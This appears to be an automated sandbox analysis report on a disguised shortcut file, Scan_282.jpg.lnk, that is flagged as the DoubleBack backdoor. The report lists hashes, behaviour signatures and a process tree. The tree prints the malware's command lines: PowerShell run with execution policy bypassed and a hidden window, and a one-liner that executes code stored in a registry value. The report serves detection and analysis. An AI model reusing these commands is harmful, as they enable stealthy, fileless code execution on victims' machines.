Overview

overview

10

Static

static

Invoice-06-1022.iso

windows7_x64

3

Invoice-06-1022.iso

windows10-2004_x64

3

1728.ps1

windows7_x64

1

1728.ps1

windows10-2004_x64

8

Scan_282.jpg

windows7_x64

3

Scan_282.jpg

windows10-2004_x64

3

Scan_282.jpg.lnk

windows7_x64

3

Scan_282.jpg.lnk

windows10-2004_x64

10

x.txt

windows7_x64

1

x.txt

windows10-2004_x64

1

Resubmissions

02-06-2022 22:15

220602-16kn1abhf3 10

02-06-2022 21:45

220602-1mh13abha3 7

02-06-2022 21:44

220602-1ln6pabgh8 8

02-06-2022 21:40

220602-1jcpwabgh5 10

02-06-2022 21:27

220602-1ay7hsffap 10

Analysis

  • max time kernel
    90s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    02-06-2022 21:40

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Scan_282.jpg.lnk

  • Size

    1KB

  • MD5

    371924fdfffd4ca69857e94260c34a74

  • SHA1

    2a1dc23c24010a8b5ef3b512ea3e3c6d2f52a44b

  • SHA256

    801086851a46749a95efc050102fb85b761c0ccb191dfd29ff39c6b7cacb6292

  • SHA512

    f9cbf21c27cf3473a2b73141dfd728d9d8824d20afc24f4b4b93ca5bf9536bd594c7a6d4100be2a2fc9c8e4b85b9dcf9797f61f60267128ea31cb44bfb43aba0

Score
10/10
doublebackbackdoor

Malware Config

Signatures

  • DoubleBack

    DoubleBack is a modular backdoor first seen in December 2020.

    backdoordoubleback
  • DoubleBack x64 Payload 4 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 25 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Scan_282.jpg.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3152
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -w h -file 1728.ps1
      2⤵
      • Blocklisted process makes network request
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2528
      • C:\Windows\system32\msiexec.exe
        C:\Windows\system32\msiexec.exe
        3⤵
        • Blocklisted process makes network request
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4180
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -c "&{$v1='6066';$k1='hkcu:\Software\Classes\CLSID';$p1=(gp $k1).$v1;rp $k1 $v1;set-itemproperty -pat $k1 -n $v1 -va (($p1|iex)|out-string);exit}"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2684

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2528-136-0x00007FFDCFFD0000-0x00007FFDD0A91000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2528-132-0x00007FFDCFFD0000-0x00007FFDD0A91000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2528-133-0x000002909CC99000-0x000002909CC9F000-memory.dmp

    Filesize

    24KB

    Download

  • memory/2528-134-0x00007FFDCFFD0000-0x00007FFDD0A91000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2528-135-0x000002909CC99000-0x000002909CC9F000-memory.dmp

    Filesize

    24KB

    Download

  • memory/2528-131-0x0000029084830000-0x0000029084852000-memory.dmp

    Filesize

    136KB

    Download

  • memory/2528-137-0x000002909CC99000-0x000002909CC9F000-memory.dmp

    Filesize

    24KB

    Download

  • memory/2528-138-0x000002909CBF0000-0x000002909CBFA000-memory.dmp

    Filesize

    40KB

    Download

  • memory/2528-139-0x0000008800000000-0x000000880000E000-memory.dmp

    Filesize

    56KB

    Download

  • memory/2684-142-0x00007FFDCFFD0000-0x00007FFDD0A91000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4180-140-0x0000008800000000-0x000000880000E000-memory.dmp

    Filesize

    56KB

    Download

  • memory/4180-143-0x0000008800000000-0x000000880000E000-memory.dmp

    Filesize

    56KB

    Download